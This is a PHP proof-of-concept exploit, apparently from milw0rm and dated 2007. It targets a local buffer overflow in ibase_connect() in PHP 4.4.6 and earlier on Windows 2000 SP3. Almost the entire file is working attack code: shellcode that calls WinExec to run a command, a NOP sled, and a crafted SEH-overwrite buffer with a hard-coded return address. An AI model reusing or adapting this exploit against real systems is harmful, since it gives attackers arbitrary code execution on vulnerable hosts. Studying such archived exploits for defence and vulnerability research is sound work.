44 lines
No EOL
868 B
PHP
44 lines
No EOL
868 B
PHP
<?php
|
|
// PHP <= 4.4.6 ibase_connect() & ibase_pconnect() local buffer overflow
|
|
// poc exploit
|
|
// windows 2000 sp3 en / seh overwrite
|
|
// by rgod
|
|
// site: http://retrogod.altervista.org
|
|
|
|
|
|
if (!extension_loaded("interbase")){
|
|
die("only works with interbase extension ");
|
|
}
|
|
|
|
$____scode=
|
|
"\xeb\x1b".
|
|
"\x5b".
|
|
"\x31\xc0".
|
|
"\x50".
|
|
"\x31\xc0".
|
|
"\x88\x43\x59".
|
|
"\x53".
|
|
"\xbb\xca\x73\xe9\x77". //WinExec
|
|
"\xff\xd3".
|
|
"\x31\xc0".
|
|
"\x50".
|
|
"\xbb\x5c\xcf\xe9\x77". //ExitProcess
|
|
"\xff\xd3".
|
|
"\xe8\xe0\xff\xff\xff".
|
|
"\x63\x6d\x64".
|
|
"\x2e".
|
|
"\x65".
|
|
"\x78\x65".
|
|
"\x20\x2f".
|
|
"\x63\x20".
|
|
"start notepad & ";
|
|
|
|
$jmp="\xeb\xa1\xff\xeb"; // jmp short
|
|
$eip="\x86\xa0\xf8\x77"; // call ebx, ntdll.dll
|
|
$____suntzu=str_repeat("A",2676 - strlen($____scode));
|
|
$____suntzu.=str_repeat("\x90",190).$____scode.str_repeat("\x90",10).$jmp.$eip;
|
|
ibase_connect($____suntzu);
|
|
|
|
?>
|
|
|
|
# milw0rm.com [2007-03-15]
|